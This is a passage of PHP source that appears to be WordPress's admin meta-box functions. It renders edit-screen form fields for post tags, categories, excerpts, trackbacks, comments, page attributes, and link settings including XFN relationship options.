	}
	?>
<div class="tagsdiv" id="<?php echo $tax_name; ?>">
	<div class="jaxtag">
	<div class="nojs-tags hide-if-js">
		<label for="tax-input-<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_or_remove_items; ?></label>
		<p><textarea name="<?php echo "tax_input[$tax_name]"; ?>" rows="3" cols="20" class="the-tags" id="tax-input-<?php echo $tax_name; ?>" <?php disabled( ! $user_can_assign_terms ); ?> aria-describedby="new-tag-<?php echo $tax_name; ?>-desc"><?php echo str_replace( ',', $comma . ' ', $terms_to_edit ); // textarea_escaped by esc_attr() ?></textarea></p>
	</div>
	<?php if ( $user_can_assign_terms ) : ?>
	<div class="ajaxtag hide-if-no-js">
		<label class="screen-reader-text" for="new-tag-<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_new_item; ?></label>
		<input data-wp-taxonomy="<?php echo $tax_name; ?>" type="text" id="new-tag-<?php echo $tax_name; ?>" name="newtag[<?php echo $tax_name; ?>]" class="newtag form-input-tip" size="16" autocomplete="off" aria-describedby="new-tag-<?php echo $tax_name; ?>-desc" value="" />
		<input type="button" class="button tagadd" value="<?php esc_attr_e( 'Add' ); ?>" />
	</div>
	<p class="howto" id="new-tag-<?php echo $tax_name; ?>-desc"><?php echo $taxonomy->labels->separate_items_with_commas; ?></p>
	<?php elseif ( empty( $terms_to_edit ) ) : ?>
		<p><?php echo $taxonomy->labels->no_terms; ?></p>
	<?php endif; ?>
	</div>
	<ul class="tagchecklist" role="list"></ul>
</div>
	<?php if ( $user_can_assign_terms ) : ?>
<p class="hide-if-no-js"><button type="button" class="button-link tagcloud-link" id="link-<?php echo $tax_name; ?>" aria-expanded="false"><?php echo $taxonomy->labels->choose_from_most_used; ?></button></p>
<?php endif; ?>
	<?php
}

/**
 * Displays post categories form fields.
 *
 * @since 2.6.0
 *
 * @todo Create taxonomy-agnostic wrapper for this.
 *
 * @param WP_Post $post Current post object.
 * @param array   $box {
 *     Categories meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args {
 *         Extra meta box arguments.
 *
 *         @type string $taxonomy Taxonomy. Default 'category'.
 *     }
 * }
 */
function post_categories_meta_box( $post, $box ) {
	$defaults = array( 'taxonomy' => 'category' );
	if ( ! isset( $box['args'] ) || ! is_array( $box['args'] ) ) {
		$args = array();
	} else {
		$args = $box['args'];
	}
	$parsed_args = wp_parse_args( $args, $defaults );
	$tax_name    = esc_attr( $parsed_args['taxonomy'] );
	$taxonomy    = get_taxonomy( $parsed_args['taxonomy'] );
	?>
	<div id="taxonomy-<?php echo $tax_name; ?>" class="categorydiv">
		<ul id="<?php echo $tax_name; ?>-tabs" class="category-tabs">
			<li class="tabs"><a href="#<?php echo $tax_name; ?>-all"><?php echo $taxonomy->labels->all_items; ?></a></li>
			<li class="hide-if-no-js"><a href="#<?php echo $tax_name; ?>-pop"><?php echo esc_html( $taxonomy->labels->most_used ); ?></a></li>
		</ul>

		<div id="<?php echo $tax_name; ?>-pop" class="tabs-panel" style="display: none;">
			<ul id="<?php echo $tax_name; ?>checklist-pop" class="categorychecklist form-no-clear" >
				<?php $popular_ids = wp_popular_terms_checklist( $tax_name ); ?>
			</ul>
		</div>

		<div id="<?php echo $tax_name; ?>-all" class="tabs-panel">
			<?php
			$name = ( 'category' === $tax_name ) ? 'post_category' : 'tax_input[' . $tax_name . ']';
			// Allows for an empty term set to be sent. 0 is an invalid term ID and will be ignored by empty() checks.
			echo "<input type='hidden' name='{$name}[]' value='0' />";
			?>
			<ul id="<?php echo $tax_name; ?>checklist" data-wp-lists="list:<?php echo $tax_name; ?>" class="categorychecklist form-no-clear">
				<?php
				wp_terms_checklist(
					$post->ID,
					array(
						'taxonomy'     => $tax_name,
						'popular_cats' => $popular_ids,
					)
				);
				?>
			</ul>
		</div>
	<?php if ( current_user_can( $taxonomy->cap->edit_terms ) ) : ?>
			<div id="<?php echo $tax_name; ?>-adder" class="wp-hidden-children">
				<a id="<?php echo $tax_name; ?>-add-toggle" href="#<?php echo $tax_name; ?>-add" class="hide-if-no-js taxonomy-add-new">
					<?php
						/* translators: %s: Add New taxonomy label. */
						printf( __( '+ %s' ), $taxonomy->labels->add_new_item );
					?>
				</a>
				<p id="<?php echo $tax_name; ?>-add" class="category-add wp-hidden-child">
					<label class="screen-reader-text" for="new<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_new_item; ?></label>
					<input type="text" name="new<?php echo $tax_name; ?>" id="new<?php echo $tax_name; ?>" class="form-required form-input-tip" value="<?php echo esc_attr( $taxonomy->labels->new_item_name ); ?>" aria-required="true" />
					<label class="screen-reader-text" for="new<?php echo $tax_name; ?>_parent">
						<?php echo $taxonomy->labels->parent_item_colon; ?>
					</label>
					<?php
					$parent_dropdown_args = array(
						'taxonomy'         => $tax_name,
						'hide_empty'       => 0,
						'name'             => 'new' . $tax_name . '_parent',
						'orderby'          => 'name',
						'hierarchical'     => 1,
						'show_option_none' => '&mdash; ' . $taxonomy->labels->parent_item . ' &mdash;',
					);

					/**
					 * Filters the arguments for the taxonomy parent dropdown on the Post Edit page.
					 *
					 * @since 4.4.0
					 *
					 * @param array $parent_dropdown_args {
					 *     Optional. Array of arguments to generate parent dropdown.
					 *
					 *     @type string   $taxonomy         Name of the taxonomy to retrieve.
					 *     @type bool     $hide_if_empty    True to skip generating markup if no
					 *                                      categories are found. Default 0.
					 *     @type string   $name             Value for the 'name' attribute
					 *                                      of the select element.
					 *                                      Default "new{$tax_name}_parent".
					 *     @type string   $orderby          Which column to use for ordering
					 *                                      terms. Default 'name'.
					 *     @type bool|int $hierarchical     Whether to traverse the taxonomy
					 *                                      hierarchy. Default 1.
					 *     @type string   $show_option_none Text to display for the "none" option.
					 *                                      Default "&mdash; {$parent} &mdash;",
					 *                                      where `$parent` is 'parent_item'
					 *                                      taxonomy label.
					 * }
					 */
					$parent_dropdown_args = apply_filters( 'post_edit_category_parent_dropdown_args', $parent_dropdown_args );

					wp_dropdown_categories( $parent_dropdown_args );
					?>
					<input type="button" id="<?php echo $tax_name; ?>-add-submit" data-wp-lists="add:<?php echo $tax_name; ?>checklist:<?php echo $tax_name; ?>-add" class="button category-add-submit" value="<?php echo esc_attr( $taxonomy->labels->add_new_item ); ?>" />
					<?php wp_nonce_field( 'add-' . $tax_name, '_ajax_nonce-add-' . $tax_name, false ); ?>
					<span id="<?php echo $tax_name; ?>-ajax-response"></span>
				</p>
			</div>
		<?php endif; ?>
	</div>
	<?php
}

/**
 * Displays post excerpt form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_excerpt_meta_box( $post ) {
	?>
<label class="screen-reader-text" for="excerpt">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Excerpt' );
	?>
</label><textarea rows="1" cols="40" name="excerpt" id="excerpt"><?php echo $post->post_excerpt; // textarea_escaped ?></textarea>
<p>
	<?php
	printf(
		/* translators: %s: Documentation URL. */
		__( 'Excerpts are optional hand-crafted summaries of your content that can be used in your theme. <a href="%s">Learn more about manual excerpts</a>.' ),
		__( 'https://wordpress.org/documentation/article/what-is-an-excerpt-classic-editor/' )
	);
	?>
</p>
	<?php
}

/**
 * Displays trackback links form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_trackback_meta_box( $post ) {
	$form_trackback = '<input type="text" name="trackback_url" id="trackback_url" class="code" value="' .
		esc_attr( str_replace( "\n", ' ', $post->to_ping ) ) . '" aria-describedby="trackback-url-desc" />';

	if ( '' !== $post->pinged ) {
		$pings          = '<p>' . __( 'Already pinged:' ) . '</p><ul>';
		$already_pinged = explode( "\n", trim( $post->pinged ) );
		foreach ( $already_pinged as $pinged_url ) {
			$pings .= "\n\t<li>" . esc_html( $pinged_url ) . '</li>';
		}
		$pings .= '</ul>';
	}

	?>
<p>
	<label for="trackback_url"><?php _e( 'Send trackbacks to:' ); ?></label>
	<?php echo $form_trackback; ?>
</p>
<p id="trackback-url-desc" class="howto"><?php _e( 'Separate multiple URLs with spaces' ); ?></p>
<p>
	<?php
	printf(
		/* translators: %s: Documentation URL. */
		__( 'Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. If you link other WordPress sites, they&#8217;ll be notified automatically using <a href="%s">pingbacks</a>, no other action necessary.' ),
		__( 'https://wordpress.org/documentation/article/introduction-to-blogging/#comments' )
	);
	?>
</p>
	<?php
	if ( ! empty( $pings ) ) {
		echo $pings;
	}
}

/**
 * Displays custom fields form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_custom_meta_box( $post ) {
	?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
	<?php
	$metadata = has_meta( $post->ID );
	foreach ( $metadata as $key => $value ) {
		if ( is_protected_meta( $metadata[ $key ]['meta_key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post->ID, $metadata[ $key ]['meta_key'] ) ) {
			unset( $metadata[ $key ] );
		}
	}
	list_meta( $metadata );
	meta_form( $post );
	?>
</div>
<p>
	<?php
	printf(
		/* translators: %s: Documentation URL. */
		__( 'Custom fields can be used to add extra metadata to a post that you can <a href="%s">use in your theme</a>.' ),
		__( 'https://wordpress.org/documentation/article/assign-custom-fields/' )
	);
	?>
</p>
	<?php
}

/**
 * Displays comments status form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_comment_status_meta_box( $post ) {
	?>
<input name="advanced_view" type="hidden" value="1" />
<p class="meta-options">
	<label for="comment_status" class="selectit"><input name="comment_status" type="checkbox" id="comment_status" value="open" <?php checked( $post->comment_status, 'open' ); ?> /> <?php _e( 'Allow comments' ); ?></label><br />
	<label for="ping_status" class="selectit"><input name="ping_status" type="checkbox" id="ping_status" value="open" <?php checked( $post->ping_status, 'open' ); ?> />
		<?php
		printf(
			/* translators: %s: Documentation URL. */
			__( 'Allow <a href="%s">trackbacks and pingbacks</a>' ),
			__( 'https://wordpress.org/documentation/article/introduction-to-blogging/#managing-comments' )
		);
		?>
	</label>
	<?php
	/**
	 * Fires at the end of the Discussion meta box on the post editing screen.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Post $post WP_Post object for the current post.
	 */
	do_action( 'post_comment_status_meta_box-options', $post ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	?>
</p>
	<?php
}

/**
 * Displays comments for post table header
 *
 * @since 3.0.0
 *
 * @param array $result Table header rows.
 * @return array
 */
function post_comment_meta_box_thead( $result ) {
	unset( $result['cb'], $result['response'] );
	return $result;
}

/**
 * Displays comments for post.
 *
 * @since 2.8.0
 *
 * @param WP_Post $post Current post object.
 */
function post_comment_meta_box( $post ) {
	wp_nonce_field( 'get-comments', 'add_comment_nonce', false );
	?>
	<p class="hide-if-no-js" id="add-new-comment"><button type="button" class="button" onclick="window.commentReply && commentReply.addcomment(<?php echo $post->ID; ?>);"><?php _e( 'Add Comment' ); ?></button></p>
	<?php

	$total         = get_comments(
		array(
			'post_id' => $post->ID,
			'count'   => true,
			'orderby' => 'none',
		)
	);
	$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table' );
	$wp_list_table->display( true );

	if ( 1 > $total ) {
		echo '<p id="no-comments">' . __( 'No comments yet.' ) . '</p>';
	} else {
		$hidden = get_hidden_meta_boxes( get_current_screen() );
		if ( ! in_array( 'commentsdiv', $hidden, true ) ) {
			?>
			<script type="text/javascript">jQuery(function(){commentsBox.get(<?php echo $total; ?>, 10);});</script>
			<?php
		}

		?>
		<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.load(<?php echo $total; ?>);return false;"><?php _e( 'Show comments' ); ?></a> <span class="spinner"></span></p>
		<?php
	}

	wp_comment_trashnotice();
}

/**
 * Displays slug form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_slug_meta_box( $post ) {
	/** This filter is documented in wp-admin/edit-tag-form.php */
	$editable_slug = apply_filters( 'editable_slug', $post->post_name, $post );
	?>
<label class="screen-reader-text" for="post_name">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Slug' );
	?>
</label><input name="post_name" type="text" class="large-text" id="post_name" value="<?php echo esc_attr( $editable_slug ); ?>" />
	<?php
}

/**
 * Displays form field with list of authors.
 *
 * @since 2.6.0
 *
 * @global int $user_ID
 *
 * @param WP_Post $post Current post object.
 */
function post_author_meta_box( $post ) {
	global $user_ID;

	$post_type_object = get_post_type_object( $post->post_type );
	?>
<label class="screen-reader-text" for="post_author_override">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Author' );
	?>
</label>
	<?php
	wp_dropdown_users(
		array(
			'capability'       => array( $post_type_object->cap->edit_posts ),
			'name'             => 'post_author_override',
			'selected'         => empty( $post->ID ) ? $user_ID : $post->post_author,
			'include_selected' => true,
			'show'             => 'display_name_with_login',
		)
	);
}

/**
 * Displays list of revisions.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_revisions_meta_box( $post ) {
	wp_list_post_revisions( $post );
}

//
// Page-related Meta Boxes.
//

/**
 * Displays page attributes form fields.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post Current post object.
 */
function page_attributes_meta_box( $post ) {
	if ( is_post_type_hierarchical( $post->post_type ) ) :
		$dropdown_args = array(
			'post_type'        => $post->post_type,
			'exclude_tree'     => $post->ID,
			'selected'         => $post->post_parent,
			'name'             => 'parent_id',
			'show_option_none' => __( '(no parent)' ),
			'sort_column'      => 'menu_order, post_title',
			'echo'             => 0,
		);

		/**
		 * Filters the arguments used to generate a Pages drop-down element.
		 *
		 * @since 3.3.0
		 *
		 * @see wp_dropdown_pages()
		 *
		 * @param array   $dropdown_args Array of arguments used to generate the pages drop-down.
		 * @param WP_Post $post          The current post.
		 */
		$dropdown_args = apply_filters( 'page_attributes_dropdown_pages_args', $dropdown_args, $post );
		$pages         = wp_dropdown_pages( $dropdown_args );
		if ( ! empty( $pages ) ) :
			?>
<p class="post-attributes-label-wrapper parent-id-label-wrapper"><label class="post-attributes-label" for="parent_id"><?php _e( 'Parent' ); ?></label></p>
			<?php echo $pages; ?>
			<?php
		endif; // End empty pages check.
	endif;  // End hierarchical check.

	if ( count( get_page_templates( $post ) ) > 0 && (int) get_option( 'page_for_posts' ) !== $post->ID ) :
		$template = ! empty( $post->page_template ) ? $post->page_template : false;
		?>
<p class="post-attributes-label-wrapper page-template-label-wrapper"><label class="post-attributes-label" for="page_template"><?php _e( 'Template' ); ?></label>
		<?php
		/**
		 * Fires immediately after the label inside the 'Template' section
		 * of the 'Page Attributes' meta box.
		 *
		 * @since 4.4.0
		 *
		 * @param string|false $template The template used for the current post.
		 * @param WP_Post      $post     The current post.
		 */
		do_action( 'page_attributes_meta_box_template', $template, $post );
		?>
</p>
<select name="page_template" id="page_template">
		<?php
		/**
		 * Filters the title of the default page template displayed in the drop-down.
		 *
		 * @since 4.1.0
		 *
		 * @param string $label   The display value for the default page template title.
		 * @param string $context Where the option label is displayed. Possible values
		 *                        include 'meta-box' or 'quick-edit'.
		 */
		$default_title = apply_filters( 'default_page_template_title', __( 'Default template' ), 'meta-box' );
		?>
<option value="default"><?php echo esc_html( $default_title ); ?></option>
		<?php page_template_dropdown( $template, $post->post_type ); ?>
</select>
<?php endif; ?>
	<?php if ( post_type_supports( $post->post_type, 'page-attributes' ) ) : ?>
<p class="post-attributes-label-wrapper menu-order-label-wrapper"><label class="post-attributes-label" for="menu_order"><?php _e( 'Order' ); ?></label></p>
<input name="menu_order" type="text" size="4" id="menu_order" value="<?php echo esc_attr( $post->menu_order ); ?>" />
		<?php
		/**
		 * Fires before the help hint text in the 'Page Attributes' meta box.
		 *
		 * @since 4.9.0
		 *
		 * @param WP_Post $post The current post.
		 */
		do_action( 'page_attributes_misc_attributes', $post );
		?>
		<?php if ( 'page' === $post->post_type && get_current_screen()->get_help_tabs() ) : ?>
<p class="post-attributes-help-text"><?php _e( 'Need help? Use the Help tab above the screen title.' ); ?></p>
			<?php
	endif;
	endif;
}

//
// Link-related Meta Boxes.
//

/**
 * Displays link create form fields.
 *
 * @since 2.7.0
 *
 * @param object $link Current link object.
 */
function link_submit_meta_box( $link ) {
	?>
<div class="submitbox" id="submitlink">

<div id="minor-publishing">

	<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?>
<div style="display:none;">
	<?php submit_button( __( 'Save' ), '', 'save', false ); ?>
</div>

<div id="minor-publishing-actions">
<div id="preview-action">
	<?php if ( ! empty( $link->link_id ) ) { ?>
	<a class="preview button" href="<?php echo $link->link_url; ?>" target="_blank"><?php _e( 'Visit Link' ); ?></a>
<?php } ?>
</div>
<div class="clear"></div>
</div>

<div id="misc-publishing-actions">
<div class="misc-pub-section misc-pub-private">
	<label for="link_private" class="selectit"><input id="link_private" name="link_visible" type="checkbox" value="N" <?php checked( $link->link_visible, 'N' ); ?> /> <?php _e( 'Keep this link private' ); ?></label>
</div>
</div>

</div>

<div id="major-publishing-actions">
	<?php
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'post_submitbox_start', null );
	?>
<div id="delete-action">
	<?php
	if ( ! empty( $_GET['action'] ) && 'edit' === $_GET['action'] && current_user_can( 'manage_links' ) ) {
		printf(
			'<a class="submitdelete deletion" href="%s" onclick="return confirm( \'%s\' );">%s</a>',
			wp_nonce_url( "link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id ),
			/* translators: %s: Link name. */
			esc_js( sprintf( __( "You are about to delete this link '%s'\n  'Cancel' to stop, 'OK' to delete." ), $link->link_name ) ),
			__( 'Delete' )
		);
	}
	?>
</div>

<div id="publishing-action">
	<?php if ( ! empty( $link->link_id ) ) { ?>
	<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Update Link' ); ?>" />
<?php } else { ?>
	<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Add Link' ); ?>" />
<?php } ?>
</div>
<div class="clear"></div>
</div>
	<?php
	/**
	 * Fires at the end of the Publish box in the Link editing screen.
	 *
	 * @since 2.5.0
	 */
	do_action( 'submitlink_box' );
	?>
<div class="clear"></div>
</div>
	<?php
}

/**
 * Displays link categories form fields.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_categories_meta_box( $link ) {
	?>
<div id="taxonomy-linkcategory" class="categorydiv">
	<ul id="category-tabs" class="category-tabs">
		<li class="tabs"><a href="#categories-all"><?php _e( 'All categories' ); ?></a></li>
		<li class="hide-if-no-js"><a href="#categories-pop"><?php _ex( 'Most Used', 'categories' ); ?></a></li>
	</ul>

	<div id="categories-all" class="tabs-panel">
		<ul id="categorychecklist" data-wp-lists="list:category" class="categorychecklist form-no-clear">
			<?php
			if ( isset( $link->link_id ) ) {
				wp_link_category_checklist( $link->link_id );
			} else {
				wp_link_category_checklist();
			}
			?>
		</ul>
	</div>

	<div id="categories-pop" class="tabs-panel" style="display: none;">
		<ul id="categorychecklist-pop" class="categorychecklist form-no-clear">
			<?php wp_popular_terms_checklist( 'link_category' ); ?>
		</ul>
	</div>

	<div id="category-adder" class="wp-hidden-children">
		<a id="category-add-toggle" href="#category-add" class="taxonomy-add-new"><?php _e( '+ Add New Category' ); ?></a>
		<p id="link-category-add" class="wp-hidden-child">
			<label class="screen-reader-text" for="newcat">
				<?php
				/* translators: Hidden accessibility text. */
				_e( '+ Add New Category' );
				?>
			</label>
			<input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e( 'New category name' ); ?>" aria-required="true" />
			<input type="button" id="link-category-add-submit" data-wp-lists="add:categorychecklist:link-category-add" class="button" value="<?php esc_attr_e( 'Add' ); ?>" />
			<?php wp_nonce_field( 'add-link-category', '_ajax_nonce', false ); ?>
			<span id="category-ajax-response"></span>
		</p>
	</div>
</div>
	<?php
}

/**
 * Displays form fields for changing link target.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_target_meta_box( $link ) {

	?>
<fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Target' );
	?>
</span></legend>
<p><label for="link_target_blank" class="selectit">
<input id="link_target_blank" type="radio" name="link_target" value="_blank" <?php echo ( isset( $link->link_target ) && ( '_blank' === $link->link_target ) ? 'checked="checked"' : '' ); ?> />
	<?php _e( '<code>_blank</code> &mdash; new window or tab.' ); ?></label></p>
<p><label for="link_target_top" class="selectit">
<input id="link_target_top" type="radio" name="link_target" value="_top" <?php echo ( isset( $link->link_target ) && ( '_top' === $link->link_target ) ? 'checked="checked"' : '' ); ?> />
	<?php _e( '<code>_top</code> &mdash; current window or tab, with no frames.' ); ?></label></p>
<p><label for="link_target_none" class="selectit">
<input id="link_target_none" type="radio" name="link_target" value="" <?php echo ( isset( $link->link_target ) && ( '' === $link->link_target ) ? 'checked="checked"' : '' ); ?> />
	<?php _e( '<code>_none</code> &mdash; same window or tab.' ); ?></label></p>
</fieldset>
<p><?php _e( 'Choose the target frame for your link.' ); ?></p>
	<?php
}

/**
 * Displays 'checked' checkboxes attribute for XFN microformat options.
 *
 * @since 1.0.1
 *
 * @global object $link Current link object.
 *
 * @param string $xfn_relationship XFN relationship category. Possible values are:
 *                                 'friendship', 'physical', 'professional',
 *                                 'geographical', 'family', 'romantic', 'identity'.
 * @param string $xfn_value        Optional. The XFN value to mark as checked
 *                                 if it matches the current link's relationship.
 *                                 Default empty string.
 * @param mixed  $deprecated       Deprecated. Not used.
 */
function xfn_check( $xfn_relationship, $xfn_value = '', $deprecated = '' ) {
	global $link;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.5.0' ); // Never implemented.
	}

	$link_rel  = isset( $link->link_rel ) ? $link->link_rel : ''; // In PHP 5.3: $link_rel = $link->link_rel ?: '';
	$link_rels = preg_split( '/\s+/', $link_rel );

	// Mark the specified value as checked if it matches the current link's relationship.
	if ( '' !== $xfn_value && in_array( $xfn_value, $link_rels, true ) ) {
		echo ' checked="checked"';
	}

	if ( '' === $xfn_value ) {
		// Mark the 'none' value as checked if the current link does not match the specified relationship.
		if ( 'family' === $xfn_relationship
			&& ! array_intersect( $link_rels, array( 'child', 'parent', 'sibling', 'spouse', 'kin' ) )
		) {
			echo ' checked="checked"';
		}

		if ( 'friendship' === $xfn_relationship
			&& ! array_intersect( $link_rels, array( 'friend', 'acquaintance', 'contact' ) )
		) {
			echo ' checked="checked"';
		}

		if ( 'geographical' === $xfn_relationship
			&& ! array_intersect( $link_rels, array( 'co-resident', 'neighbor' ) )
		) {
			echo ' checked="checked"';
		}

		// Mark the 'me' value as checked if it matches the current link's relationship.
		if ( 'identity' === $xfn_relationship
			&& in_array( 'me', $link_rels, true )
		) {
			echo ' checked="checked"';
		}
	}
}

/**
 * Displays XFN form fields.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_xfn_meta_box( $link ) {
	?>
<table class="links-table">
	<tr>
		<th scope="row"><label for="link_rel"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'rel:' ); ?></label></th>
		<td><input type="text" name="link_rel" id="link_rel" value="<?php echo ( isset( $link->link_rel ) ? esc_attr( $link->link_rel ) : '' ); ?>" /></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'identity' ); ?></th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'identity' );
				?>
			</span></legend>
			<label for="me">
			<input type="checkbox" name="identity" value="me" id="me" <?php xfn_check( 'identity', 'me' ); ?> />
			<?php _e( 'another web address of mine' ); ?></label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'friendship' ); ?></th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'friendship' );
				?>
			</span></legend>
			<label for="contact">
			<input class="valinp" type="radio" name="friendship" value="contact" id="contact" <?php xfn_check( 'friendship', 'contact' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'contact' ); ?>
			</label>
			<label for="acquaintance">
			<input class="valinp" type="radio" name="friendship" value="acquaintance" id="acquaintance" <?php xfn_check( 'friendship', 'acquaintance' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'acquaintance' ); ?>
			</label>
			<label for="friend">
			<input class="valinp" type="radio" name="friendship" value="friend" id="friend" <?php xfn_check( 'friendship', 'friend' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'friend' ); ?>
			</label>
			<label for="friendship">
			<input name="friendship" type="radio" class="valinp" value="" id="friendship" <?php xfn_check( 'friendship' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'none' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"> <?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'physical' ); ?> </th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'physical' );
				?>
			</span></legend>
			<label for="met">
			<input class="valinp" type="checkbox" name="physical" value="met" id="met" <?php xfn_check( 'physical', 'met' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'met' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"> <?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'professional' ); ?> </th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'professional' );
				?>
			</span></legend>
			<label for="co-worker">
			<input class="valinp" type="checkbox" name="professional" value="co-worker" id="co-worker" <?php xfn_check( 'professional', 'co-worker' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'co-worker' ); ?>
			</label>
			<label for="colleague">
			<input class="valinp" type="checkbox" name="professional" value="colleague" id="colleague" <?php xfn_check( 'professional', 'colleague' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'colleague' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'geographical' ); ?></th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'geographical' );
				?>
			</span></legend>
			<label for="co-resident">
			<input class="valinp" type="radio" name="geographical" value="co-resident" id="co-resident" <?php xfn_check( 'geographical', 'co-resident' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'co-resident' ); ?>
			</label>
			<label for="neighbor">
			<input class="valinp" type="radio" name="geographical" value="neighbor" id="neighbor" <?php xfn_check( 'geographical', 'neighbor' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'neighbor' ); ?>
			</label>
			<label for="geographical">
			<input class="valinp" type="radio" name="geographical" value="" id="geographical" <?php xfn_check( 'geographical' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'none' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'family' ); ?></th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'family' );
				?>
			</span></legend>
			<label for="child">
			<input class="valinp" type="radio" name="family" value="child" id="child" <?php xfn_check( 'family', 'child' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'child' ); ?>
			</label>
			<label for="kin">
			<input class="valinp" type="radio" name="family" value="kin" id="kin" <?php xfn_check( 'family', 'kin' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'kin' ); ?>
			</label>
			<label for="parent">
			<input class="valinp" type="radio" name="family" value="parent" id="parent" <?php xfn_check( 'family', 'parent' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'parent' ); ?>
			</label>
			<label for="sibling">
			<input class="valinp" type="radio" name="family" value="sibling" id="sibling" <?php xfn_check( 'family', 'sibling' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'sibling' ); ?>
			</label>
			<label for="spouse">
			<input class="valinp" type="radio" name="family" value="spouse" id="spouse" <?php xfn_check( 'family', 'spouse' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'spouse' ); ?>
			</label>
			<label for="family">
			<input class="valinp" type="radio" name="family" value="" id="family" <?php xfn_check( 'family' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'none' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'romantic' ); ?></th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'romantic' );
				?>
			</span></legend>
			<label for="muse">
